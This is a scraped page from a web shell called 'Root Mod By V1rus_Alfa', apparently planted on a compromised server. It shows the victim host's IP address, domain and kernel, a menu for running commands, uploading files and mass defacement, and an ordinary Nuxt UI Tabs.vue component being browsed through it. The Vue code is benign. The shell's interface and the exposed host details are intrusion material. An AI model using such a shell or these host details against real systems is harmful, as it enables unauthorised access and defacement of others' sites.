���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.2
/
@nuxt
/
ui
/
dist
/
runtime
/
components
/
navigation
/
Viewing: Tabs.vue
<template> <HTabGroup :vertical="orientation === 'vertical'" :selected-index="selectedIndex" as="div" :class="ui.wrapper" v-bind="attrs" @change="onChange" > <HTabList ref="listRef" :class="[ui.list.base, ui.list.background, ui.list.rounded, ui.list.shadow, ui.list.padding, ui.list.width, orientation === 'horizontal' && ui.list.height, orientation === 'horizontal' && 'inline-grid items-center']" :style="[orientation === 'horizontal' && `grid-template-columns: repeat(${items.length}, minmax(0, 1fr))`]" > <div ref="markerRef" :class="ui.list.marker.wrapper"> <div :class="[ui.list.marker.base, ui.list.marker.background, ui.list.marker.rounded, ui.list.marker.shadow]" /> </div> <HTab v-for="(item, index) of items" :key="index" ref="itemRefs" v-slot="{ selected, disabled }" :disabled="item.disabled" as="template" > <button :class="[ui.list.tab.base, ui.list.tab.background, ui.list.tab.height, ui.list.tab.padding, ui.list.tab.size, ui.list.tab.font, ui.list.tab.rounded, ui.list.tab.shadow, selected ? ui.list.tab.active : ui.list.tab.inactive]"> <slot name="icon" :item="item" :index="index" :selected="selected" :disabled="disabled" > <UIcon v-if="item.icon" :name="item.icon" :class="ui.list.tab.icon" /> </slot> <slot :item="item" :index="index" :selected="selected" :disabled="disabled"> <span class="truncate">{{ item.label }}</span> </slot> </button> </HTab> </HTabList> <HTabPanels v-if="content" :class="ui.container"> <HTabPanel v-for="(item, index) of items" :key="index" v-slot="{ selected }" :class="ui.base" :unmount="unmount"> <slot :name="item.slot || 'item'" :item="item" :index="index" :selected="selected"> {{ item.content }} </slot> </HTabPanel> </HTabPanels> </HTabGroup> </template> <script> import { toRef, ref, watch, onMounted, defineComponent, nextTick } from "vue"; import { TabGroup as HTabGroup, TabList as HTabList, Tab as HTab, TabPanels as HTabPanels, TabPanel as HTabPanel, provideUseId } from "@headlessui/vue"; import { useResizeObserver } from "@vueuse/core"; import UIcon from "../elements/Icon.vue"; import { useUI } from "../../composables/useUI"; import { mergeConfig } from "../../utils"; import appConfig from "#build/app.config"; import { tabs } from "#ui/ui.config"; import { useId } from "#imports"; const config = mergeConfig(appConfig.ui.strategy, appConfig.ui.tabs, tabs); export default defineComponent({ components: { UIcon, HTabGroup, HTabList, HTab, HTabPanels, HTabPanel }, inheritAttrs: false, props: { modelValue: { type: Number, default: void 0 }, orientation: { type: String, default: "horizontal", validator: (value) => ["horizontal", "vertical"].includes(value) }, defaultIndex: { type: Number, default: 0 }, items: { type: Array, default: () => [] }, unmount: { type: Boolean, default: false }, content: { type: Boolean, default: true }, class: { type: [String, Object, Array], default: () => "" }, ui: { type: Object, default: () => ({}) } }, emits: ["update:modelValue", "change"], setup(props, { emit }) { const { ui, attrs } = useUI("tabs", toRef(props, "ui"), config, toRef(props, "class")); const listRef = ref(); const itemRefs = ref([]); const markerRef = ref(); const selectedIndex = ref(props.modelValue || props.defaultIndex); function calcMarkerSize(index) { const tab = itemRefs.value[index]?.$el; if (!tab) { return; } if (!markerRef.value) { return; } markerRef.value.style.top = `${tab.offsetTop}px`; markerRef.value.style.left = `${tab.offsetLeft}px`; markerRef.value.style.width = `${tab.offsetWidth}px`; markerRef.value.style.height = `${tab.offsetHeight}px`; } function onChange(index) { selectedIndex.value = index; emit("change", index); if (props.modelValue !== void 0) { emit("update:modelValue", selectedIndex.value); } calcMarkerSize(selectedIndex.value); } useResizeObserver(listRef, () => { calcMarkerSize(selectedIndex.value); }); watch(() => props.modelValue, (value) => { selectedIndex.value = value; calcMarkerSize(selectedIndex.value); }); onMounted(async () => { await nextTick(); calcMarkerSize(selectedIndex.value); }); provideUseId(() => useId()); return { // eslint-disable-next-line vue/no-dupe-keys ui, attrs, listRef, itemRefs, markerRef, selectedIndex, onChange }; } }); </script>
Coded With 💗 by
0x6ick Mod By V1rus_Alfa